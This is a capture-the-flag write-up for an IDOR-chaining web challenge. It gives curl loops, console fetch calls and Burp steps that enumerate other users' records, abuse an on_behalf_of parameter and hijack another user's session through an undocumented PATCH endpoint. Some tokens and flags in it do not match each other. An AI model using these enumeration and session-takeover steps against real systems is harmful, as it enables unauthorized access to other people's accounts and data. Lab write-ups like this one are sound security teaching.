Club Ouroboros
Week 4 of our new weekly challenge series.
Challenge Description
The night is always just beginning at Club Ouroboros.
Get to the VIP room. The flag is waiting.
URL: https://ouroboros.two-shoes.org/
Overview
Club Ouroboros is a five-stage IDOR chaining challenge wrapped in a time loop narrative. Each stage exposes a different API surface. Getting reset: by the bouncer, a spiked drink, or an overeager locker, sends you back to the entrance. Every loop you carry forward exactly what you found: your notes.
The flag lives in a private event in the VIP room. Getting there requires chaining five IDOR vulnerabilities across five distinct objects:
reservations -> wristbands -> orders -> lockers -> events
Tooling
The challenge has a built-in terminal UI, most of the early loops can be played directly in the browser without touching any external tools. Each room exposes an input field and shows the raw API response, so you can enumerate and submit values right on the page.
Where the UI gets you: - Looking up your own reservation and finding it's pending (Loop 1) - Presenting an entry token once you've found a valid one (Loop 1) - Checking in with a wristband ID (Loop 2) - Ordering a drink (Loop 3) - Retrieving a locker (Loop 4)
Where you need to go outside the UI:
- Enumeration, the UI only handles one ID at a time. Burp Intruder or a curl loop is the right tool for sweeping ranges
- The staff orders endpoint (/api/staff/orders/), accessible via the Staff View button in the bar room, but only if you checked in with a staff wristband. The UI handles single lookups; Intruder or curl is still needed to sweep 200-215
- The PATCH /api/users/{id}/session endpoint, undocumented, console, burp, or curl only
Burp Suite workflow:
With Burp's browser proxying the challenge, every UI action shows up in the HTTP history, which is the fastest way to understand the API surface. The workflow:
- Open Burp, proxy the challenge browser through it
- Play through the UI normally, click buttons, submit IDs, trigger resets
- Watch HTTP history to see exactly which endpoints are being called, what the request shape is, and what the full response looks like
- When you need to enumerate, right-click any request -> Send to Intruder, mark the ID as a payload position, set a Numbers payload for the relevant range
- For endpoints the UI doesn't expose (staff orders, PATCH session), build the request manually in Repeater once you know the shape from HTTP history
The browser console is useful for one-off calls once you know the exact endpoint and payload, particularly for the PATCH in Loop 5, where you're making a single targeted request rather than enumerating a range.
Loop 0: The Night Begins
After registering and logging in, you land at the entrance. The first thing worth doing before touching any gameplay is baseline recon, check what session state the server is tracking.
curl:
curl -s https://ouroboros.two-shoes.org/api/session \
-b cookies.txt | jq
browser console:
fetch('/api/session', {credentials: 'include'})
.then(r => r.json()).then(console.log)
UI sessions tab:
{
"active_wristband_id": null,
"first_seen": "2026-05-02T22:07:34.031848+00:00",
"issued_wristband_id": 8801,
"loop_count": 0,
"reservation_id": 4091,
"tier": "standard",
"user_id": 1
}
Two things to note immediately: reservation_id and issued_wristband_id are your starting enumeration anchors for Loop 1 and Loop 2 respectively. loop_count survives every reset, everything else gets wiped. That's the seam.
Decode your session cookie (it's a signed Flask cookie, payload is readable base64):
python3 -c "
import zlib, base64
cookie = 'PASTE_FULL_COOKIE_HERE'
p = cookie.lstrip('.').split('.')[0]
p += '=' * (-len(p) % 4)
raw = base64.urlsafe_b64decode(p)
print(zlib.decompress(raw))
"
You'll see player_seed in there. Hold onto that, it becomes relevant later.
Loop 1: The Line
Goal: obtain a valid entry token
Your own reservation:
curl:
curl -s https://ouroboros.two-shoes.org/api/reservations/4091 \
-b cookies.txt | jq
browser console:
fetch('/api/reservations/4091', {credentials: 'include'})
.then(r => r.json()).then(console.log)
UI reservation id input:
{
"entry_token": null,
"guest_name": "player",
"note": "reservation pending approval",
"reservation_id": 4091,
"status": "pending"
}
Pending. Token is null. Entry denied.
Enumerate 4000-4090 looking for a confirmed reservation with a token:
curl:
for i in $(seq 4000 4090); do
r=$(curl -s "https://ouroboros.two-shoes.org/api/reservations/$i" -b cookies.txt)
echo "$i: $r"
done | grep '"confirmed"'
Burp Intruder: send a request to /api/reservations/4091, mark 4091 as the payload position, Numbers payload 4000-4090, Grep Match on "confirmed".
You'll find one hit, the confirmed reservation for J. Voss. The response leaks two critical values:
{
"entry_token":"ENT-239a807",
"guest_name":"J. Voss",
"reservation_id":4049,
"status":"confirmed",
"user_id":198
}
Harvest: entry_token, user_id: 198.
Present the token:
curl:
curl -s -X POST https://ouroboros.two-shoes.org/api/entry/verify \
-b cookies.txt -H "Content-Type: application/json" \
-d '{"entry_token": "ENT-7x9k2mq"}' | jq
browser console:
fetch('/api/entry/verify', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({entry_token: 'ENT-7x9k2mq'})
}).then(r => r.json()).then(console.log)
or in the UI:
{
"message":"welcome. proceed to check-in.",
"status":"approved",
"wristband_id":8801,
"wristband_token":"WB-4f1a9zr"
}
The response confirms wristband_id: 8801, your issued wristband, pointing directly at the next enumeration surface.
Loop 2: The Door
Goal: check in with a non-standard wristband
Your own wristband:
curl:
curl -s https://ouroboros.two-shoes.org/api/wristbands/8801 \
-b cookies.txt | jq
browser console:
fetch('/api/wristbands/8801', {credentials: 'include'})
.then(r => r.json()).then(console.log)
{
"staff_access": false,
"tier": "standard",
"user_id": 1,
"valid": true,
"wristband_id": 8801
}
Standard tier fails check-in. Enumerate 8700-8850 for non-standard wristbands:
curl:
for i in $(seq 8700 8850); do
r=$(curl -s "https://ouroboros.two-shoes.org/api/wristbands/$i" -b cookies.txt)
echo "$i: $r"
done | grep -E '"vip"|"staff"'
Burp Intruder: Numbers payload 8700-8850, Grep Match on "vip" and "staff". Sort results by response length, the VIP and staff responses are longer than standard 404s due to extra fields.
Two hits:
{
"staff_access":true,
"tier":"staff",
"user_id":55,
"valid":true,
"wristband_id":8799
}
{
"locker_id":349,
"staff_access":false,
"tier":"vip",
"user_id":198,
"valid":true,
"wristband_id":8749
}
Harvest: locker_id: 349 from the VIP wristband, bank it even if you don't need it yet.
Two wristbands to work with. The choice matters:
- Check in with the staff wristband ->
tier: staffin session -> unlocks/api/staff/orders/in Loop 3 - Check in with the VIP wristband ->
tier: vipin session -> can't access staff orders, Loop 3 becomes a blind gamble
You need staff access for the bar so check in as staff:
curl:
curl -s -X POST https://ouroboros.two-shoes.org/api/entry/checkin \
-b cookies.txt -H "Content-Type: application/json" \
-d '{"wristband_id": 8799}' | jq
browser console:
fetch('/api/entry/checkin', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({wristband_id: 8799})
}).then(r => r.json()).then(console.log)
or in the UI:
{
"access_tier":"staff",
"bar_info":{
"note":"tonight's orders are in queue",
"order_queue":"200-215"
},
"message":"enjoy your evening.",
"status":"cleared"
}
The bar_info field leaks the order range for Loop 3.
Loop 3: The Bar
Goal: identify and order the safe drink
The order range is 200-215 from the checkin response. Ordering blind is still dangerous, fourteen of the sixteen are spiked. The public endpoint reveals nothing useful:
curl:
curl -s https://ouroboros.two-shoes.org/api/orders/201 \
-b cookies.txt | jq
browser console:
fetch('/api/orders/201', {credentials: 'include'})
.then(r => r.json()).then(console.log)
{
"order_id": 201,
"drink_name": "Neon Fizz",
"status": "ready",
"prepared_by": "bar staff"
}
No flagged field. No safety signal. Your staff session unlocks the back-of-house endpoint:
curl:
curl -s https://ouroboros.two-shoes.org/api/staff/orders/201 \
-b cookies.txt | jq
browser console:
fetch('/api/staff/orders/201', {credentials: 'include'})
.then(r => r.json()).then(console.log)
or in the UI, STAFF VIEW button:
{
"drink_name": "Neon Fizz",
"flagged": true,
"notes": "do not serve - see mgr",
"order_id": 201,
"reviewed_by_user_id": 55,
"status": "ready"
}
Enumerate 200-215 via the staff endpoint to find flagged: false:
curl:
for i in $(seq 200 215); do
r=$(curl -s "https://ouroboros.two-shoes.org/api/staff/orders/$i" -b cookies.txt)
echo "$i: $r"
done | grep '"flagged":false'
Burp Intruder: Numbers 200-215, Grep Match on "flagged":false.
Safe order found:
{
"drink_name": "Club Soda",
"flagged": false,
"notes": "approved. reviewed by staff uid:55",
"order_id": 207,
"reviewed_by_user_id": 55,
"status": "ready"
}
Order it:
curl:
curl -s -X POST https://ouroboros.two-shoes.org/api/bar/order \
-b cookies.txt -H "Content-Type: application/json" \
-d '{"order_id": 207}' | jq
browser console:
fetch('/api/bar/order', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({order_id: 207})
}).then(r => r.json()).then(console.log)
or in the UI:
{
"drink": "Club Soda",
"message": "cheers.",
"status": "served"
}
Loop 4: The Floor
Goal: retrieve the VIP pass from the coat check
You have locker_id: 349 from Loop 2. Check it:
curl:
curl -s https://ouroboros.two-shoes.org/api/lockers/349 \
-b cookies.txt | jq
browser console:
fetch('/api/lockers/349', {credentials: 'include'})
.then(r => r.json()).then(console.log)
{
"locker_id": 349,
"owner_id": 198,
"tier_required": "vip",
"contents": "[redacted]",
"note": "retrieval available via staff on-behalf service"
}
Contents are redacted. The note hints at a POST with an on_behalf_of parameter, a staff feature for retrieving on a guest's behalf. The on_behalf_of value is not access-controlled:
curl:
curl -s -X POST https://ouroboros.two-shoes.org/api/lockers/349/retrieve \
-b cookies.txt -H "Content-Type: application/json" \
-d '{"on_behalf_of": 198}' | jq
browser console:
fetch('/api/lockers/349/retrieve', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({on_behalf_of: 198})
}).then(r => r.json()).then(console.log)
or in the UI:
{
"contents": {
"event_id": 17,
"item": "VIP pass",
"pass_id": "PASS-39f45c"
},
"status": "retrieved"
}
Harvest: pass_id, event_id: 17.
Loop 5: The VIP Room
Goal: assume VIP identity and access the private event
You have user_id: 198 (Loop 1), pass_id (Loop 4), event_id: 17 (Loop 4).
Attempting to access the event with your own session identity will return:
{
"error": "session identity does not match pass owner",
"expected_guest_id": 198
}
Your session needs to be user 198. There's a PATCH /api/users/{id}/session endpoint, not linked anywhere in the UI, that overwrites your session identity:
curl:
curl -s -X PATCH https://ouroboros.two-shoes.org/api/users/198/session \
-b cookies.txt -H "Content-Type: application/json" \
-d '{}' | jq
browser console:
fetch('/api/users/198/session', {
method: 'PATCH',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({})
}).then(r => r.json()).then(console.log)
{
"active_user_id": 198,
"status": "session updated",
"tier": "vip"
}
Now POST to the event with the pass, validation and flag delivery in one call:
curl:
curl -s -X POST https://ouroboros.two-shoes.org/api/vip/events/17 \
-b cookies.txt -H "Content-Type: application/json" \
-d '{"pass_id": "PASS-39f45c"}' | jq
browser console:
fetch('/api/vip/events/17', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({pass_id: 'PASS-39f45c'})
}).then(r => r.json()).then(console.log)
or in the UI:
{
"event_id": 17,
"guest_count": 12,
"name": "LATE NIGHT PRIVATE",
"private_notes": "OUROBOROS{t1m3_15_4_fl4t_c1rcl3}",
"status": "in progress",
"venue": "Club Ouroboros"
}
Flag
OUROBOROS{t1m3_15_4_fl4t_c1rcl3}
OUROBOROS{v1c_m3nsa_down_0n_my_luck}
Harvest Chain Summary
| Loop | Endpoint | Object | What You Get |
|---|---|---|---|
| 1 | GET /api/reservations/{id} |
Reservations | entry_token, user_id: 198 |
| 2 | GET /api/wristbands/{id} |
Wristbands | Staff/VIP tiers, locker_id |
| 3 | GET /api/staff/orders/{id} |
Orders | Safe order_id |
| 4 | POST /api/lockers/{id}/retrieve |
Lockers | pass_id, event_id |
| 5 | PATCH /api/users/{id}/session + POST /api/vip/events/{id} |
Session + Events | Flag |
Key Observations
The wristband choice in Loop 2 matters. Checking in as VIP locks you out of the staff bar endpoint. You need staff tier to safely navigate the bar, which means you have to check in as staff, even though the VIP wristband is the one with the locker_id hint. The VIP wristband data is available without checking in with it.
The spiked drink is a punishment for impatience. Fourteen out of sixteen orders are flagged. Ordering without the staff view is a gamble heavily weighted against you. The challenge is designed to reset impatient players who don't look for the staff surface first.
The PATCH /users/{id}/session endpoint is the nastiest piece. It's not surfaced anywhere in the UI, not documented, and only works on a specific user ID. The error from vip/events tells you what needs to change (expected_guest_id: 198), finding how is the final step.
All IDs are per-player. The specific IDs in this writeup (4049, 8799, 8749, 349, etc.) are examples, your actual target IDs will differ. The key is finding whichever ID in the enumeration range returns "status": "confirmed", "tier": "vip", "tier": "staff" and so on.
Alternate Path (Unintended)
A sharp player who decodes their session cookie will find player_seed in the payload. All challenge IDs and tokens are derived deterministically from this seed via SHA-256. With the seed in hand, a player can compute pass_id directly without completing Loop 4, then skip to Loop 5 immediately after obtaining staff tier in Loop 2.
This is a valid solve. Reading your own session data is legitimate and the derivation is recoverable. The intended path is more instructive, but the shortcut is fair game.
Inspiration
This challenge was directly inspired by the music video for "Down On My Luck" by Vic Mensa (2014).
In the video, Vic walks into a club and something goes wrong and the video resets, sending him back to the entrance. Each loop he gets a little further, avoids what went wrong before, and eventually navigates the whole night. The time loop isn't framed as a supernatural event, it just happens, disorienting and inevitable, until he figures it out.
That structure maps almost perfectly onto an IDOR chaining challenge: you keep hitting a wall, getting sent back to the start, and each run you carry a little more knowledge forward. The club setting, the entrance/door/bar/floor/VIP progression, the spiked drink, the loop counter that survives every reset, all of it inspired by that video.
The venue name, Club Ouroboros, is a nod to the ouroboros, the snake eating its own tail, a classical symbol of cyclicality and eternal return. The loop always holds, until it doesn't.